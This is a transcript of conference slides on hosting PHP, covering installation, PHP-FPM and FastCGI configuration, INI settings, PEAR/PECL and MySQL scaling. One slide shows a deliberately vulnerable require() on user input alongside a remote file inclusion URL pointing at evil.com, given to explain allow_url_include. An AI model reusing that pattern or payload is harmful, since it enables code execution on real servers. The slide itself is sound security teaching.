SlideShare uma empresa Scribd logo
1 de 84
Baixar para ler offline
PHP	
  through	
  the	
  eyes	
  of	
  a	
  hoster




Thijs	
  Feryn
Evangelist
+32	
  (0)9	
  218	
  79	
  06
thijs@combellgroup.com
Very	
  excited	
  to	
  be	
  here	
  !
THIJS
TAZE
Evangelist
@ThijsFeryn
Please	
  
   rate	
  my	
  talk	
  on	
  
       Joind.in




https://joind.in/6090
Chapter	
  I	
  :	
  The	
  hoster,	
  a	
  genuine	
  stakeholder	
  in	
  the	
  
PHP	
  universe
Stakeholders

     Customer                     Development	
  company

  Endusers     MGMT       Devs        MGMT     Design         PM



  Internal     Internal
     IT          PM       Sales        QA      Systeam     Consultant




                 Hoster       PHP	
  community
Stakeholders


               Somewhere	
  along	
  the	
  road	
  ...




               Your	
  app	
  needs	
  to	
  be	
  hosted
Goals	
  &	
  moves

 Our	
  goals	
  &	
  moves	
  are	
  the	
  same	
  as	
  yours:
 • It	
  has	
  to	
  work
 • It	
  has	
  to	
  perform
 • It	
  has	
  to	
  scale
 • It	
  has	
  to	
  be	
  secure
 • It	
  has	
  to	
  be	
  available
What	
  about	
  the	
  Cloud?
Chapter	
  II:	
  Installaon	
  &	
  configuraon
There’s	
  more	
  than	
  just	
  Apache
Installing	
  from	
  source

server$	
  ./configure	
  -­‐-­‐with-­‐ttf	
  -­‐-­‐with-­‐freetype-­‐dir=/
usr/lib	
  -­‐-­‐prefix=/data/jail/usr/local/php-­‐5.3.8	
  -­‐-­‐
with-­‐mysql	
  -­‐-­‐with-­‐mysqli	
  -­‐-­‐with-­‐mssql	
  -­‐-­‐enable-­‐exif	
  
-­‐-­‐enable-­‐soap	
  -­‐-­‐with-­‐mcrypt	
  -­‐-­‐with-­‐mhash	
  -­‐-­‐with-­‐curl	
  
-­‐-­‐enable-­‐mbstring	
  -­‐-­‐with-­‐gettext	
  -­‐-­‐with-­‐zlib	
  -­‐-­‐
enable-­‐ftp	
  -­‐-­‐with-­‐openssl	
  -­‐-­‐with-­‐xsl	
  -­‐-­‐with-­‐db4	
  -­‐-­‐
with-­‐pgsql	
  -­‐-­‐enable-­‐calendar	
  -­‐-­‐enable-­‐bcmath	
  -­‐-­‐with-­‐
bz2	
  -­‐-­‐with-­‐imap=/data/jail/usr/local/imap	
  -­‐-­‐with-­‐
imap-­‐ssl	
  -­‐-­‐with-­‐pdo-­‐mysql=/usr/bin/mysql_config	
  -­‐-­‐
with-­‐jpeg-­‐dir=/usr/lib	
  -­‐-­‐with-­‐gd	
  -­‐-­‐enable-­‐zip	
  -­‐-­‐with-­‐
xmlrpc	
  -­‐-­‐enable-­‐sockets	
  

server$	
  make

server$	
  make	
  install
Installing	
  using	
  a	
  package	
  manager	
  (APT/Aptude)

Install	
  PHP:
  server$	
  apt-­‐get	
  install	
  php5


Install	
  MySQL	
  library	
  for	
  PHP:

  server$	
  apt-­‐get	
  install	
  php5-­‐mysql
SAPI	
  ...	
  schmapi

                     Mod_php                FastCGI               PHP-­‐FPM                 CLI

                         Apache	
  
     Web                                   gateway                                           -­‐
                         module

                         Apache	
                                  php-­‐fpm	
  
   Process                                  php-­‐cgi                                      php
                         process                                   daemon

                    Apache	
  conf	
                              config	
  per	
  
Configuraon                                wrapper                                     on	
  the	
  fly
                       files                                         pool

                                         shell	
  user	
  or	
  
     User           Apache	
  user                               user	
  per	
  pool   shell	
  user
                                         suexec	
  user
FastCGI

Example	
  config:
• Apache	
  handler
   	
  	
  <IfModule	
  mod_fcgid.c>
   	
  	
  	
  	
  SuexecUserGroup	
  dev	
  dev
   	
  	
  	
  	
  PHP_Fix_Pathinfo_Enable	
  1
   	
  	
  	
  	
  <Directory	
  /var/www/dev/www/>
   	
  	
  	
  	
  	
  	
  Options	
  +ExecCGI
   	
  	
  	
  	
  	
  	
  AllowOverride	
  All
   	
  	
  	
  	
  	
  	
  AddHandler	
  fcgid-­‐script	
  .php
   	
  	
  	
  	
  	
  	
  FCGIWrapper	
  /var/www/dev/etc/fcgi.wrapper	
  .php
   	
  	
  	
  	
  	
  	
  Order	
  allow,deny
   	
  	
  	
  	
  	
  	
  Allow	
  from	
  all
   	
  	
  	
  	
  </Directory>
   	
  	
  </IfModule>
FastCGI

Example	
  config:
• Wrapper	
  script
    #!/bin/sh
    PHPRC=/usr/local/php-­‐5.3.10/etc
    export	
  PHPRC
    export	
  PHP_FCGI_MAX_REQUESTS=5000
    export	
  PHP_FCGI_CHILDREN=8
    exec	
  /usr/local/php-­‐5.3.10/bin/php-­‐cgi
PHP-­‐FPM

Example	
  config	
  in	
  Nginx:
    server	
  {
    	
  	
  	
  	
  root	
  /var/www;
    	
  	
  	
  	
  index	
  index.php	
  index.html	
  index.htm;
    	
  	
  	
  	
  server_name	
  myserver.ext;
    	
  	
  	
  	
  location	
  /	
  {
    	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  try_files	
  $uri	
  $uri/	
  /index.html;
    	
  	
  	
  	
  }
    	
  	
  	
  	
  location	
  ~	
  .php$	
  {
    	
  	
  	
  	
  	
  	
  	
  	
  fastcgi_split_path_info	
  ^(.+.php)(/.+)$;
    	
  	
  	
  	
  	
  	
  	
  	
  fastcgi_pass	
  127.0.0.1:9000;
    	
  	
  	
  	
  	
  	
  	
  	
  fastcgi_index	
  index.php;
    	
  	
  	
  	
  	
  	
  	
  	
  include	
  fastcgi_params;
    	
  	
  	
  	
  }
    }
PHP-­‐FPM

Example	
  config	
  in	
  PHP-­‐FPM	
  main	
  www	
  pool:
    [www]
    user	
  =	
  www-­‐data
    group	
  =	
  www-­‐data
    listen	
  =	
  127.0.0.1:9000
    listen.owner	
  =	
  www-­‐data
    listen.group	
  =	
  www-­‐data
    listen.mode	
  =	
  0666
    listen.allowed_clients	
  =	
  127.0.0.1
    pm	
  =	
  dynamic
    pm.max_children	
  =	
  10
    pm.start_servers	
  =	
  4
    pm.min_spare_servers	
  =	
  2
    pm.max_spare_servers	
  =	
  6
    pm.max_requests	
  =	
  500
INI	
  sehngs:	
  tales	
  of	
  good	
  &	
  evil
INI	
  sehngs:	
  tales	
  of	
  good	
  &	
  evil

Defining	
  INI	
  sehngs:
• Php.ini
• Ini_set()
• “-­‐d”	
  
• php_value
• php_flag
• php_admin_value
• php_admin_flag
INI	
  sehngs:	
  tales	
  of	
  good	
  &	
  evil

Memory_limit:


    Fatal	
  error:	
  Allowed	
  memory	
  size	
  of	
  16777216	
  
    bytes	
  exhausted	
  (tried	
  to	
  allocate	
  35	
  bytes)
INI	
  sehngs:	
  tales	
  of	
  good	
  &	
  evil

Safe_mode	
  &	
  Open_basedir:

 <IfModule	
  mod_php5.c>
 	
  	
  	
  	
  php_admin_flag	
  engine	
  on
 	
  	
  	
  	
  php_admin_flag	
  safe_mode	
  off
 	
  	
  	
  	
  php_admin_value	
  open_basedir	
  "/var/www/vhosts/
 website.com/httpdocs:/tmp"
 </IfModule>
INI	
  sehngs:	
  tales	
  of	
  good	
  &	
  evil

Allow_url_fopen	
  &	
  allow_url_include:

                    <?php
                    $lang= $_GET['lang'];
                    require("$lang.php");


http://domain.ext/index.php?lang=http://evil.com/hack.txt?
Chapter	
  III:	
  Versions	
  &	
  features
PHP	
  4:	
  End	
  of	
  life,	
  but	
  far	
  from	
  dead
PHP	
  4:	
  End	
  of	
  life,	
  but	
  not	
  yet	
  dead




 Parse	
  error:	
  syntax	
  error,	
  unexpected	
  T_STRING,	
  
 expecting	
  T_OLD_FUNCTION	
  or	
  T_FUNCTION	
  or	
  T_VAR	
  
 or	
  '}'	
  in	
  test.php	
  on	
  line	
  4
Developers	
  love	
  bling	
  bling
It	
  HAS	
  to	
  be	
  PHP	
  5.3.10	
  !!!
I	
  need	
  ALL	
  PHP	
  extension	
  !!!
I	
  use	
  ALL	
  PHP	
  features	
  !!!
And	
  
then	
  there’s




   DOT
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL

PEAR
PHP	
  Extension	
  and	
  Applicaon	
  Repository	
  (h#p//pear.php.net)

 server$	
  lynx	
  -­‐source	
  http://pear.php.net/go-­‐pear	
  |	
  php

 server$	
  pear	
  install	
  date
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL

PECL	
  (pickle)
PHP	
  Extension	
  Community	
  Library	
  (h#p//pecl.php.net)




          server$	
  pecl	
  install	
  pecl_http
External	
  frameworks


     Popular	
  frameworks	
  outside	
  the	
  PHP	
  project
Chapter	
  IV:	
  PHP	
  aoracts	
  a	
  crowd
It’s	
  easy	
  !
That	
  easy	
  !




                    <?php
                    echo "Hello world!";
It’s	
  cheap	
  !
It’s	
  stable	
  !
Everyone	
  can	
  be	
  a	
  PHP	
  developer
But	
  not	
  everyone	
  has	
  what	
  it	
  takes
Luckily	
  there’s	
  a	
  lot	
  ready-­‐to-­‐use	
  PHP	
  soqware	
  out	
  
there
Who	
  you	
  gonna	
  call	
  ?
But	
  when	
  helpers	
  need	
  help	
  ...
They	
  reach	
  out	
  to	
  the	
  PHP	
  community

                                                  User	
  Group	
  meengs




             Twioer                                            Blogs
                                                    Forums
                        PHP.net



                       IRC                     Conferences
Chapter	
  V:	
  Here	
  be	
  phpirates
Here	
  be	
  phpirates
Fact




 “The	
  majority	
  of	
  hacking/absue	
  cases	
  are	
  PHP	
  related”
False	
  assumpons

                                           “Open	
  source	
  is	
  evil”




“PHP	
  has	
  lots	
  of	
  security	
  vulnerabilies	
  and	
  is	
  not	
  mature”
Here	
  be	
  phpirates



The	
  real	
  issues
• Quality	
  of	
  the	
  code
• Network	
  &	
  server	
  security
• PHP	
  version	
  &	
  configuraon
Responsibilies
Chapter	
  VI:	
  Scalability
Performance	
  ==	
  speed
Scalability	
  ==	
  constant	
  speed	
  under	
  increasing	
  load
Scaling	
  up
Scaling	
  out
Developers	
  (some2mes)	
  forget	
  ...
Scaling	
  MySQL
mysql>	
  explain	
  SELECT	
  field1,	
  (SELECT	
  COUNT(*)	
  FROM	
  table2	
  WHERE	
  field3	
  =	
  
table1.id)	
  FROM	
  table1	
  WHERE	
  field2	
  =	
  1	
  	
  ORDER	
  BY	
  field4	
  DESC	
  limit	
  
12,12;

***************************	
  1.	
  row	
  ***************************
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  id:	
  1
	
  	
  select_type:	
  PRIMARY
	
  	
  	
  	
  	
  	
  	
  	
  table:	
  table1
	
  	
  	
  	
  	
  	
  	
  	
  	
  type:	
  ALL
possible_keys:	
  approved
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  key:	
  approved
	
  	
  	
  	
  	
  	
  key_len:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ref:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  rows:	
  3143
	
  	
  	
  	
  	
  	
  	
  	
  Extra:	
  Using	
  where;	
  Using	
  filesort
***************************	
  2.	
  row	
  ***************************
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  id:	
  2
	
  	
  select_type:	
  DEPENDENT	
  SUBQUERY
	
  	
  	
  	
  	
  	
  	
  	
  table:	
  table2
	
  	
  	
  	
  	
  	
  	
  	
  	
  type:	
  ALL
possible_keys:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  key:	
  NULL
	
  	
  	
  	
  	
  	
  key_len:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ref:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  rows:	
  1005
	
  	
  	
  	
  	
  	
  	
  	
  Extra:	
  Using	
  where
mysql>	
  show	
  processlist;
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
|	
  Id	
  	
  	
  	
  |	
  User	
  |	
  Host	
  	
  	
  	
  	
  	
  |	
  db	
  |	
  Command	
  |	
  Time	
  |	
  State	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  Info	
  	
  	
  
                                                                                                                                                                                                           	
  
|
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
|	
  63515	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  NULL	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  show	
  
processlist	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |
|	
  81763	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Sleep	
  	
  	
  |	
  	
  105	
  |	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  NULL	
  	
  	
  
                                                                                                                                                                                                           	
  
|
|	
  85187	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Sending	
  data	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  field	
  =	
  'val'	
  	
  |
|	
  82701	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Copying	
  to	
  tmp	
  table	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  field='val2'	
  	
  	
  |
|	
  82709	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Sorting	
  result	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  order	
  by	
  field	
  |
|	
  82716	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Opening	
  tables	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someOtherTable	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
Scaling	
  MySQL	
  with	
  replicaon
PHP	
  scalability	
  toolbox
Memcached
Gearman
Varnish
Summary
Summary

1.Hosters	
  are	
  a	
  genuine	
  stakeholder	
  in	
  the	
  PHP	
  universe
2.PHP	
  is	
  highly	
  flexible	
  &	
  configurable.	
  Hosters	
  have	
  to	
  ensure	
  a	
  decent	
  
  setup
3.PHP	
  has	
  a	
  lot	
  to	
  offer	
  feature-­‐wise
4.PHP	
  aDracts	
  a	
  crowd	
  and	
  brings	
  a	
  lot	
  of	
  people	
  together	
  from	
  
  different	
  industries	
  (e.g.	
  hosters)
5.Lots	
  of	
  abuse	
  cases	
  are	
  PHP	
  related,	
  but	
  that’s	
  not	
  the	
  fault	
  of	
  PHP	
  
  itself
6.PHP	
  itself	
  doesn’t	
  scale	
  *that*	
  well,	
  but	
  is	
  flexible	
  enough	
  to	
  ensure	
  
  scalability	
  via	
  extra	
  tools
Q&A

Mais conteúdo relacionado

Mais procurados

PHPCR e API Platform: cosa significa davvero sviluppare un CMF con Symfony
PHPCR e API Platform: cosa significa davvero sviluppare un CMF con SymfonyPHPCR e API Platform: cosa significa davvero sviluppare un CMF con Symfony
PHPCR e API Platform: cosa significa davvero sviluppare un CMF con SymfonyInnoteam Srl
 
Leverage HTTP to deliver cacheable websites - Thijs Feryn - Codemotion Rome 2018
Leverage HTTP to deliver cacheable websites - Thijs Feryn - Codemotion Rome 2018Leverage HTTP to deliver cacheable websites - Thijs Feryn - Codemotion Rome 2018
Leverage HTTP to deliver cacheable websites - Thijs Feryn - Codemotion Rome 2018Codemotion
 
Leverage HTTP to deliver cacheable websites - Codemotion Rome 2018
Leverage HTTP to deliver cacheable websites - Codemotion Rome 2018Leverage HTTP to deliver cacheable websites - Codemotion Rome 2018
Leverage HTTP to deliver cacheable websites - Codemotion Rome 2018Thijs Feryn
 
PHP 7 Crash Course - php[world] 2015
PHP 7 Crash Course - php[world] 2015PHP 7 Crash Course - php[world] 2015
PHP 7 Crash Course - php[world] 2015Colin O'Dell
 
Mysqlnd, an unknown powerful PHP extension
Mysqlnd, an unknown powerful PHP extensionMysqlnd, an unknown powerful PHP extension
Mysqlnd, an unknown powerful PHP extensionjulien pauli
 
Laravel 4 package development
Laravel 4 package developmentLaravel 4 package development
Laravel 4 package developmentTihomir Opačić
 
DevOps in PHP environment
DevOps in PHP environment DevOps in PHP environment
DevOps in PHP environment Evaldo Felipe
 
Php in 2013 (Web-5 2013 conference)
Php in 2013 (Web-5 2013 conference)Php in 2013 (Web-5 2013 conference)
Php in 2013 (Web-5 2013 conference)julien pauli
 
Php Dependency Management with Composer ZendCon 2016
Php Dependency Management with Composer ZendCon 2016Php Dependency Management with Composer ZendCon 2016
Php Dependency Management with Composer ZendCon 2016Clark Everetts
 
PECL Picks - Extensions to make your life better
PECL Picks - Extensions to make your life betterPECL Picks - Extensions to make your life better
PECL Picks - Extensions to make your life betterZendCon
 
PHP complete reference with database concepts for beginners
PHP complete reference with database concepts for beginnersPHP complete reference with database concepts for beginners
PHP complete reference with database concepts for beginnersMohammed Mushtaq Ahmed
 
Mastering Namespaces in PHP
Mastering Namespaces in PHPMastering Namespaces in PHP
Mastering Namespaces in PHPNick Belhomme
 
PHP traits, treat or threat?
PHP traits, treat or threat?PHP traits, treat or threat?
PHP traits, treat or threat?Nick Belhomme
 
Converting your DEV Environment to a Docker Stack - ZCOE18
Converting your DEV Environment to a Docker Stack - ZCOE18Converting your DEV Environment to a Docker Stack - ZCOE18
Converting your DEV Environment to a Docker Stack - ZCOE18Dana Luther
 
Converting Your DEV Environment to a Docker Stack
Converting Your DEV Environment to a Docker StackConverting Your DEV Environment to a Docker Stack
Converting Your DEV Environment to a Docker StackDana Luther
 
このPHP拡張がすごい!2017
このPHP拡張がすごい!2017このPHP拡張がすごい!2017
このPHP拡張がすごい!2017sasezaki
 
Vagrant move over, here is Docker
Vagrant move over, here is DockerVagrant move over, here is Docker
Vagrant move over, here is DockerNick Belhomme
 

Mais procurados (20)

PHPCR e API Platform: cosa significa davvero sviluppare un CMF con Symfony
PHPCR e API Platform: cosa significa davvero sviluppare un CMF con SymfonyPHPCR e API Platform: cosa significa davvero sviluppare un CMF con Symfony
PHPCR e API Platform: cosa significa davvero sviluppare un CMF con Symfony
 
Php on Windows
Php on WindowsPhp on Windows
Php on Windows
 
Leverage HTTP to deliver cacheable websites - Thijs Feryn - Codemotion Rome 2018
Leverage HTTP to deliver cacheable websites - Thijs Feryn - Codemotion Rome 2018Leverage HTTP to deliver cacheable websites - Thijs Feryn - Codemotion Rome 2018
Leverage HTTP to deliver cacheable websites - Thijs Feryn - Codemotion Rome 2018
 
Leverage HTTP to deliver cacheable websites - Codemotion Rome 2018
Leverage HTTP to deliver cacheable websites - Codemotion Rome 2018Leverage HTTP to deliver cacheable websites - Codemotion Rome 2018
Leverage HTTP to deliver cacheable websites - Codemotion Rome 2018
 
PHP 7 Crash Course - php[world] 2015
PHP 7 Crash Course - php[world] 2015PHP 7 Crash Course - php[world] 2015
PHP 7 Crash Course - php[world] 2015
 
Mysqlnd, an unknown powerful PHP extension
Mysqlnd, an unknown powerful PHP extensionMysqlnd, an unknown powerful PHP extension
Mysqlnd, an unknown powerful PHP extension
 
Laravel 4 package development
Laravel 4 package developmentLaravel 4 package development
Laravel 4 package development
 
Php’s guts
Php’s gutsPhp’s guts
Php’s guts
 
DevOps in PHP environment
DevOps in PHP environment DevOps in PHP environment
DevOps in PHP environment
 
Php in 2013 (Web-5 2013 conference)
Php in 2013 (Web-5 2013 conference)Php in 2013 (Web-5 2013 conference)
Php in 2013 (Web-5 2013 conference)
 
Php Dependency Management with Composer ZendCon 2016
Php Dependency Management with Composer ZendCon 2016Php Dependency Management with Composer ZendCon 2016
Php Dependency Management with Composer ZendCon 2016
 
PECL Picks - Extensions to make your life better
PECL Picks - Extensions to make your life betterPECL Picks - Extensions to make your life better
PECL Picks - Extensions to make your life better
 
PHP complete reference with database concepts for beginners
PHP complete reference with database concepts for beginnersPHP complete reference with database concepts for beginners
PHP complete reference with database concepts for beginners
 
Mastering Namespaces in PHP
Mastering Namespaces in PHPMastering Namespaces in PHP
Mastering Namespaces in PHP
 
PHP traits, treat or threat?
PHP traits, treat or threat?PHP traits, treat or threat?
PHP traits, treat or threat?
 
Converting your DEV Environment to a Docker Stack - ZCOE18
Converting your DEV Environment to a Docker Stack - ZCOE18Converting your DEV Environment to a Docker Stack - ZCOE18
Converting your DEV Environment to a Docker Stack - ZCOE18
 
How PHP works
How PHP works How PHP works
How PHP works
 
Converting Your DEV Environment to a Docker Stack
Converting Your DEV Environment to a Docker StackConverting Your DEV Environment to a Docker Stack
Converting Your DEV Environment to a Docker Stack
 
このPHP拡張がすごい!2017
このPHP拡張がすごい!2017このPHP拡張がすごい!2017
このPHP拡張がすごい!2017
 
Vagrant move over, here is Docker
Vagrant move over, here is DockerVagrant move over, here is Docker
Vagrant move over, here is Docker
 

Destaque

Natural River Bed - Dry
Natural River Bed - DryNatural River Bed - Dry
Natural River Bed - DryDaniel Peabody
 
The Creativity (R)Evolution - Future of Web Design NYC 2014
The Creativity (R)Evolution - Future of Web Design NYC 2014The Creativity (R)Evolution - Future of Web Design NYC 2014
The Creativity (R)Evolution - Future of Web Design NYC 2014Denise Jacobs
 
Blogs & Content Marketing
Blogs & Content MarketingBlogs & Content Marketing
Blogs & Content MarketingTom Williams
 
Adv 2 Teens Inversions
Adv 2 Teens InversionsAdv 2 Teens Inversions
Adv 2 Teens InversionsGilmar Mattos
 
Banish Your Inner Critic to Unleash Creativity – edUi Conference 2015
Banish Your Inner Critic to Unleash Creativity – edUi Conference 2015Banish Your Inner Critic to Unleash Creativity – edUi Conference 2015
Banish Your Inner Critic to Unleash Creativity – edUi Conference 2015Denise Jacobs
 
Webquest
WebquestWebquest
Webquesttrevas
 
matter states
matter statesmatter states
matter statesmatter
 
Credit Training Presentation
Credit Training PresentationCredit Training Presentation
Credit Training Presentationguest7f7d4
 
Creativity revolution - SXSW Interactive 2014
Creativity revolution -  SXSW Interactive 2014Creativity revolution -  SXSW Interactive 2014
Creativity revolution - SXSW Interactive 2014Denise Jacobs
 
The Creativity Imperative - Work Life Congress 2015
The Creativity Imperative - Work Life Congress 2015The Creativity Imperative - Work Life Congress 2015
The Creativity Imperative - Work Life Congress 2015Denise Jacobs
 
Bored But Never Boring - Media Evolution: The Conference 2013
Bored But Never Boring - Media Evolution: The Conference 2013Bored But Never Boring - Media Evolution: The Conference 2013
Bored But Never Boring - Media Evolution: The Conference 2013Denise Jacobs
 
Review for the final exam advanced 2
Review for the final exam advanced 2Review for the final exam advanced 2
Review for the final exam advanced 2Gilmar Mattos
 
Banish Your Inner Critic - HOW Interactive Conference, Boston
Banish Your Inner Critic - HOW Interactive Conference, BostonBanish Your Inner Critic - HOW Interactive Conference, Boston
Banish Your Inner Critic - HOW Interactive Conference, BostonDenise Jacobs
 
Find Your (Shameless) Spark
Find Your (Shameless) SparkFind Your (Shameless) Spark
Find Your (Shameless) SparkDenise Jacobs
 
Infinite Possibilities - Groupon's GEEKon 2015
Infinite Possibilities - Groupon's GEEKon 2015Infinite Possibilities - Groupon's GEEKon 2015
Infinite Possibilities - Groupon's GEEKon 2015Denise Jacobs
 
Time for Change
Time for ChangeTime for Change
Time for Changekjdaniels
 
Basics Of Facebook For Parents
Basics Of Facebook For ParentsBasics Of Facebook For Parents
Basics Of Facebook For ParentsRS712003
 
Staff Housing
Staff HousingStaff Housing
Staff Housingezran
 
InnoGage EduWeb Conference UGC - Tapping The Power
InnoGage   EduWeb Conference UGC - Tapping The PowerInnoGage   EduWeb Conference UGC - Tapping The Power
InnoGage EduWeb Conference UGC - Tapping The PowerTom Williams
 

Destaque (20)

WordPress Security
WordPress SecurityWordPress Security
WordPress Security
 
Natural River Bed - Dry
Natural River Bed - DryNatural River Bed - Dry
Natural River Bed - Dry
 
The Creativity (R)Evolution - Future of Web Design NYC 2014
The Creativity (R)Evolution - Future of Web Design NYC 2014The Creativity (R)Evolution - Future of Web Design NYC 2014
The Creativity (R)Evolution - Future of Web Design NYC 2014
 
Blogs & Content Marketing
Blogs & Content MarketingBlogs & Content Marketing
Blogs & Content Marketing
 
Adv 2 Teens Inversions
Adv 2 Teens InversionsAdv 2 Teens Inversions
Adv 2 Teens Inversions
 
Banish Your Inner Critic to Unleash Creativity – edUi Conference 2015
Banish Your Inner Critic to Unleash Creativity – edUi Conference 2015Banish Your Inner Critic to Unleash Creativity – edUi Conference 2015
Banish Your Inner Critic to Unleash Creativity – edUi Conference 2015
 
Webquest
WebquestWebquest
Webquest
 
matter states
matter statesmatter states
matter states
 
Credit Training Presentation
Credit Training PresentationCredit Training Presentation
Credit Training Presentation
 
Creativity revolution - SXSW Interactive 2014
Creativity revolution -  SXSW Interactive 2014Creativity revolution -  SXSW Interactive 2014
Creativity revolution - SXSW Interactive 2014
 
The Creativity Imperative - Work Life Congress 2015
The Creativity Imperative - Work Life Congress 2015The Creativity Imperative - Work Life Congress 2015
The Creativity Imperative - Work Life Congress 2015
 
Bored But Never Boring - Media Evolution: The Conference 2013
Bored But Never Boring - Media Evolution: The Conference 2013Bored But Never Boring - Media Evolution: The Conference 2013
Bored But Never Boring - Media Evolution: The Conference 2013
 
Review for the final exam advanced 2
Review for the final exam advanced 2Review for the final exam advanced 2
Review for the final exam advanced 2
 
Banish Your Inner Critic - HOW Interactive Conference, Boston
Banish Your Inner Critic - HOW Interactive Conference, BostonBanish Your Inner Critic - HOW Interactive Conference, Boston
Banish Your Inner Critic - HOW Interactive Conference, Boston
 
Find Your (Shameless) Spark
Find Your (Shameless) SparkFind Your (Shameless) Spark
Find Your (Shameless) Spark
 
Infinite Possibilities - Groupon's GEEKon 2015
Infinite Possibilities - Groupon's GEEKon 2015Infinite Possibilities - Groupon's GEEKon 2015
Infinite Possibilities - Groupon's GEEKon 2015
 
Time for Change
Time for ChangeTime for Change
Time for Change
 
Basics Of Facebook For Parents
Basics Of Facebook For ParentsBasics Of Facebook For Parents
Basics Of Facebook For Parents
 
Staff Housing
Staff HousingStaff Housing
Staff Housing
 
InnoGage EduWeb Conference UGC - Tapping The Power
InnoGage   EduWeb Conference UGC - Tapping The PowerInnoGage   EduWeb Conference UGC - Tapping The Power
InnoGage EduWeb Conference UGC - Tapping The Power
 

Semelhante a Php through the eyes of a hoster confoo

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Combell NV
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Combell NV
 
Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10Php through the eyes of a hoster pbc10
Php through the eyes of a hoster pbc10Combell NV
 
2013 - Dustin whittle - Escalando PHP en la vida real
